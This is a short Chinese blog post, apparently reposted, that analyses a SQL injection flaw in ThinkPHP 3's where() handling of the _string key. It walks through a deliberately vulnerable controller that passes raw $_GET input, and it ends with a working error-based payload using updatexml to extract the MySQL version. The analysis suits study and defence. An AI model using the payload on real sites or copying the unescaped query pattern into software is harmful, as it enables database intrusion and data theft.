参考https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&mid=2247484626&idx=1&sn=6a584fde354797177f67d3adcaf786b2
首先配置好Mysql连接
'DB_TYPE' => 'mysql', // 数据库类型 'DB_HOST' => '127.0.0.1', // 服务器地址 'DB_NAME' => 'tp3', // 数据库名 'DB_USER' => 'root', // 用户名 'DB_PWD' => 'root', // 密码 'DB_PORT' => '3306', // 端口 'DB_PREFIX' => '',
然后写IndexController.class.php的逻辑
<?php namespace Home\Controller; use Think\Controller; use \Think\Logs; class IndexController extends Controller { public function index(){ $id = $_GET[id]; $data = M('user')->where($id)->find(); dump($data); }
这里使用原生的$_GET接受参数,没有使用I函数,因为I函数会转义单引号
这里着重分析parseWhere函数
$key以_开头,进入parseThinkWhere函数
可以看到$key为_string时,$val直接赋值给了$whereStr,有注入风险存在,继续往下跟
最后sql语句为
SELECT * FROM `user` WHERE ( 1 ) LIMIT 1
所以我们可以构造1) and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) -- +
原文地址:https://www.cnblogs.com/cuocuo/p/14329379.html
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。